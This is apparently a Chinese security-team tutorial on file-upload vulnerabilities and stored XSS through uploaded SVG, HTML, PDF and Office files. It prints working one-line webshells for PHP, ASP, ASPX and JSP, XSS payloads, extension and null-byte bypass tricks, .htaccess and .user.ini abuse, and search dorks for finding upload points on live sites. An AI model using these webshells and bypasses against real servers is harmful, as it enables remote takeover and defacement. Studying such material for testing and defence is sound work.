微信公众号:渊龙Sec安全团队
为国之安全而奋斗,为信息安全而发声!
如有问题或建议,请在公众号后台留言
如果你觉得本文对你有帮助,欢迎在文章底部赞赏我们
0# 前言
因为团队里大佬太多,从漏洞挖掘到证书思路,从攻击流量特征到绕各种WAF都分享了一遍,那我就只能硬着头皮给大家讲一些心得体会
同时,欢迎各位大佬们加入渊龙Sec安全团队!
1# 文件上传基础
1.1# 前端检查
绕过方式:
-
通过浏览器F12很简单的修改文件后,后缀名就可以完成绕过检查;或者是将木马修改后缀名后,再通过改包工具修改上传
-
如果是JS脚本检测,在本地浏览器客户端禁用JS即可(可使用火狐浏览器的
NoScript
插件、IE中禁用掉JS等方式实现绕过)
1.2# 扩展名检查
对于扩展名的检查,可以分为黑名单和白名单两种形式
绕过方式:
-
老版本的
IIS6
中的目录解析漏洞,如果网站目录中有一个/.asp/
目录,那么此目录下面的一切内容都会被当作asp 脚本来解析 -
老版本的
IIS6
中的分号漏洞:IIS
在解析文件名的时候可能将分号后面的内容丢弃,那么我们可以在上传的时候给后面加入分号内容来避免黑名单过滤,如a.asp;jpg
-
旧版
Windows Server
中存在空格和dot漏洞,类似于a.php.
和a.php[空格]
这样的文件名存储后会被Windows去掉点和空格,从而使得加上这两个东西可以突破过滤,成功上传,并且被当作PHP代码来执行 -
nginx(0.5.x, 0.6.x, 0.7 <= 0.7.65, 0.8 <= 0.8.37)
空字节漏洞xxx.jpg%00.php
这样的文件名会被解析为PHP代码运行(fastcgi
会把这个文件当PHP看,不受空字节影响,但是检查文件后 的那个功能会把空字节后面的东西抛弃,所以识别为jpg) -
apache1.x,2.x
的解析漏洞,上传如a.php.rar
/a.php.gif
类型的文件名,可以避免对于PHP文件的过滤机制,但是由于Apache
在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar
等扩展名是Apache
不能识别的,因此就会直接将类型识别为PHP,从而达到了注入PHP代码的目的
1.3# 检查Content-Type
见以下表格:
绕过方式:
使用各种各样的工具(如BurpSuite)强行篡改Header就可以,将Content-Type: application/php改为其他web程序允许的类型
1.4# 检测文件头
绕过方式:
给上传脚本加上相应的文件头字节就可以,PHP引擎会将 <?之前的内容当作html文本,不解释而跳过之,后面的代码仍然能够得到执行(一般不限制图片文件格式的时候使用GIF的头比较方便,因为全都是文本可打印字符)
1.5# 其他方式
-
文件00截断
绕过方式:
通过抓包截断将evil.php.jpg
后面的一个.
换成0x00
(在上传的时候,当文件系统读到0x00
时,会认为文件已经结束,从而将evil.php.jpg
的内容写入到evil.php
中,从而达到攻击的目的)
-
条件竞争
绕过方式:
同文件包含漏洞所用木马
-
检测文件内容
绕过方式:
除了修改文件头,在一句话木马前后加上无关数
PS.这提供Fasthand_大佬的文章的链接,写得很基础且详细,可以学到不少东西:https://blog.csdn.net/qq_43390703/article/details/104858705
2# 文件上传型存储XSS
-
关键思路总结:搜集文件上传点+构造含有Payload的文件+成功上传+找到保存路径+成功解析
-
可以插入XSS代码的文件格式:
svg
/html
/pdf
/doc/docx
svg文件内容:
1<?xml version="1.0" encoding="UTF-8" standalone="no"?>
2
3<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
4<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve">
5
6<image id="image0" width="751" height="751" x="0" y="0" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
7
8<script>alert(1)</script> </svg>
加载JS见discord:
1<html>
2<body>
3<script>alert(1)</script>
4</body>
5</html>
PDF文件内容:
使用迅捷PDF编辑器打开,见:https://www.shuzhiduo.com/A/WpdKyvvAJV/
1app.alert(1);
Doc/docx文件内容:
https://bestestredteam.com/2018/07/27/learning-to-pop-xss-with-docx-files/
Payload构造点:
https://brutelogic.com.br/blog/file-upload-xss/
-
文件名【任意文件格式都可以】
-
元数据【EXIFTOOL】
-
内容【见上】
-
来源【尚不太懂】
文件上传导致的存储XSS漏洞存在的功能点:
1头像图片自定义
2编辑器
3评论区/留言处(意见反馈或建议板块)
4提交工单
5在线客服(直接搜在线课程或网上商城等需要客服的网站,找在线客服)
谷歌语法搜索:
1inurl:目标域名 上传
2inurl:feedback 上传
3intitle:意见反馈
4intitle:提交工单
5inurl:chat 在线客服`
在线客服上传点的漏洞挖掘经验:
-
看看有没有图片上传或文件上传功能
-
看看图片上传是否接受
xss.svg.jpg
或xss.svg
,(注意:上传文件的时候,会设定后缀名要求,但是如果没有加以验证,可以提交某些其他后缀名的文件)上传成功则看是否有保存路径(开发者工具,Burp抓包,直接右键复制保存路径)且保存路径是否可用(保存路径是否开头有blob:
/ 域名是否不是文件上传点的域名 /是不是先自动下载文件而不是解析文件/ 是不是Post提交的保存地址(几乎没救))
注意:保存路径有时候会分为临时和永久,一般提交完毕后看到的是永久,而一些漏洞可能是临时,但也可以造成不小的影响 -
看看是否接受
xhtml
/html
/xml
,成功就同上 -
用PDF或SWF格式的,以上的可以随时注意有没有通用型漏洞,找寻相同特征(查看js或者抓包,用Fofa进行搜索)
存储XSS via文件上传挖掘分析思路:
【三大要素】Filename Coontent-Type Payload
注:黄色是可以绕过,绿色是完全不检查,红色是无法绕过,白色是不确定
说明如下:
-
第一个阶段是检查(纵向),第二个阶段是解析文件的类型(横向),顺序可变,依照代码顺序来
-
单个或组合要素进行文件验证或解析
-
举个案例,可提交pdf文件进行存储xss漏洞的触发,地址:https://hackerone.com/reports/880099
3# 文末惊喜
下面附上一些我在学习中遇到的Q&A
1.文件上传漏洞产生的原理是什么?会有什么危害?
存在文件上传功能且没有严格的检验机制或检验函数有漏洞导致的;
危害极大,服务器网页被篡改,网站被挂马,服务器被远程控制,被安装后门等
2.文件上传漏洞的分类是哪些?
按照危害来看,文件上传的一共可造成三种危害,从低到高分别是:
-
任意内容文件,html文件,脚本文件;指的是虽然文件后缀不可控,但是文件内容可控,比如我可以上传一个内容为的jpg文件。这种是未校验文件头和文件内容导致的,往往不被视为漏洞,使用它们通常需要其他漏洞结合利用,比如
php cgi解析漏洞
,文件包含漏洞,结合任意目录上传覆盖正常文件 -
HTML文件:允许上传一个html格式的文件(包括htm等),等同于存储XSS,但由于实际利用过程中必须得钓鱼,所以其危害等同于反射XSS,同时也曾有人拿这种漏洞做黑帽SEO。由于富文本编辑的未授权上传的特殊性,故而常有存储xss;例如:
Kindeditor
默认支持html上传,ueditor
默认支持XML上传 -
脚本文件:脚本文件指可执行动态脚本,就是
Webshell
,也是文件上传漏洞的重点,一旦出现,即使语言环境对危害函数严防死守,也会造成严重危害
脚本文件常见的4大类:asp
/aspx
/php
/jsp
3.PHP的文件上传漏洞利用是如何?
PHP:一句话木马:<?php @eval($_POST['a'])?>
(可以改成GET REQUEST等)
-
IIS,apache,nginx均可能支持
-
php3
/php4
/php5
/php7
/pht
/phtml
/phar
均有可能解析成php【可见下列表】 -
.htaccess
可支持同目录下任意格式解析成PHP:AddType application/x-httpd-php.abc
-
.user.ini
的效果和.htaccess
差不多,但是必须要求同目录下有一个PHP文件:auto_prepend_file=a.jpg
注:.htaccess
只支持Apache,.user.ini
支持所有cgi模式启动的php
【PHP其他的冷门后缀表】
1.php/.phps
2.php3/.php4/.php5/.php7
3.inc
4.phar
5.pgif
6.pht/.phpt/.phtm/.phtml
4.ASP/ASPX的文件上传漏洞利用是如何?
ASP:一句话木马<%eval request("a")%>
-
IIS6.0默认支持,同时更高版本也通常为了兼容而支持。
-
IIS6.0默认还支持cer,cdx,asa三种格式以asp解析,IIS7.0及以上的版本只支持cer
ASPX:一句话木马
<%@ Page Language="Jscript"%>
/<%eval(Request.Item["a"],"unsafe");%>
-
IIS7.0及以上默认支持,aspx没有其他格式,但有可以起到一样效果的
ashx
/asmx
/ashx
/asmx
/soap
参考:
https://github.com/luoke90hou/files/blob/main/customize.ashx
https://github.com/luoke90hou/files/blob/main/customize.asmx
https://github.com/luoke90hou/files/blob/main/Customize.soap
web.config:
-
类似apache的.htaccess也可以让当前目录的任意后缀文件解析为asp/aspx
stm
/shtm
/shtml
:
-
不能作为木马,但可以读取
web.config
内容和一些信息Global.asax
,aspx.cs
,svc,dll
文件均可以在IIS中当Webshell,但都需要编译,无法直接通过文件上传getshell,通常作为后门维持
如果IIS部署了MVC3,还支持cshtml,参考:
https://github.com/luoke90hou/files/blob/main/customize.cshtml
【ASP的冷门后缀表】
1.asp/.aspx
2.cer
3.asa (IIS <= 7.5)
4shell.aspx;1.jpg (IIS < 7.0)
5shell.soap
5.JSP/JSPX的文件上传漏洞利用是如何?
JSP:一句话木马
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
-
Tomcat
/Jboss
/WebSphere
/Weblogic
等Java web容器均支持Jsp
JSPX:一句话木马【】
-
jspx是jsp的xml表达
-
war格式为jsp文件打包,通常用来快速部署网站用的,
Tomcat
/Jboss
/WebSphere
/Weblogic
后台均可通过部署War包来getshell(注:jspf,jspa,jhtml均为额外配置脚本文件,默认无此支持)
【JSP的冷门后缀表】
1.jsp/.jspx
2.jsw
3.jsv
4.jspf
6.其他脚本文件的文件上传漏洞利用是如何?
拓展:除了上述常见脚本文件之外,Python网站使用py脚本,Perl网站使用pl脚本和cgi脚本, ColdFusion网站使用cfm脚本,Servlet网站使用Java脚本(这些均有对应的webshell)
【PERL的冷门后缀表】
1.pl/.pm
2.cgi
3.lib
【Coldfusion的冷门后缀表】
1.cfm/.cfml
2.cfc
3.dbm
7.文件上传可以控制的参数有哪些?
1) 前端验证,MIME验证:基本无用,抓包改包即可突破
2) 目录或者文件名:现在绝大部分文件上传后都是用时间戳或者随机hash重命名,一般也不让控制目录。
-
如果允许完全控制文件名,或者目录,则可以尝试上传
../../../testtest.php
文件穿越目录(具体利用方法结合实际情况,比如绕过当前目录不解析,增加任务计划,Web配置,权限足够甚至可以直接覆盖掉passwd。即使权限不够,也能尝试用恶意doc
/xls
/exe
覆盖掉正常的文件) -
如果不完全控制,也就是上传
test.php.png
会拼接成202004017141111111test.php.png
,也可以尝试用特殊字符截断成202004017141111111test.php%00.png
(不单单可以在文件名上截断,同样可以在目录上截断) -
如果目录,文件名均不可控,后缀使用黑名单控制,用冷门后缀绕过。Windows服务器上还有一些其他办法
3) 文件内容控制:有时候服务器会对文件的真实性进行校验,比如检查图片文件的真实性,检查xlsx文件是否可以解析,我们就需要控制文件内容。文件内容可控点分为两部分:一是文件头,即16进制下的前几个字符,常用的是gif文件头GIF89au
,Gif文件头由于全是英文数字,比png和jpg适用性都广;二是整个文件内容,比如对图片尺寸进行校验甚至二次渲染,单单加入文件头是无法上传的,此时必须以图片马的方式上传:copy 1.png/b+1.php 2.png
4) 绕过GD库:GD库是php的图片渲染插件,方便于把图片统一尺寸。即使是符合尺寸的图片也会被二次渲染
这种情况下需要对比图片渲染前后未被修改的部分,在此插入payload
绕过GD库有如下原则,图片尺寸越大越好,插入的payload越短越好,gif
容易成功,png
次之,jpg
难成功
参考链接:
https://github.com/luoke90hou/files/blob/main/phpgd.php.jpg https://xz.aliyun.com/t/2657
5) 条件竞争:如果文件上传时分两步,先生成文件再校验,不合规再删除,则可以利用时间差来访问还未删除的脚本文件(也可以利用报错使删除逻辑不再执行)
条件竞争的隐藏条件就是文件路径可预测,也就是目录和文件名要固定,或者一定程度可猜解:方法是用Burp大量发包上传,或Burp大量发包访问Webshell的地址
除此之外,我还整理了十几个内容,欢迎各位师傅加入团队和我一同探讨哈哈哈~
我是Angel7,我在渊龙Sec安全团队等你
微信公众号:渊龙Sec安全团队
欢迎关注我,一起学习,一起进步~
本篇文章为团队成员原创文章,请不要擅自盗取!
原文始发于微信公众号(渊龙Sec安全团队):那些年,你不知道的存储型XSS之上传文件
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
2024年12月7日 下午3:00 1F
"?>开心
2024年12月7日 下午3:15 B1
@ >> pia,弹我一脸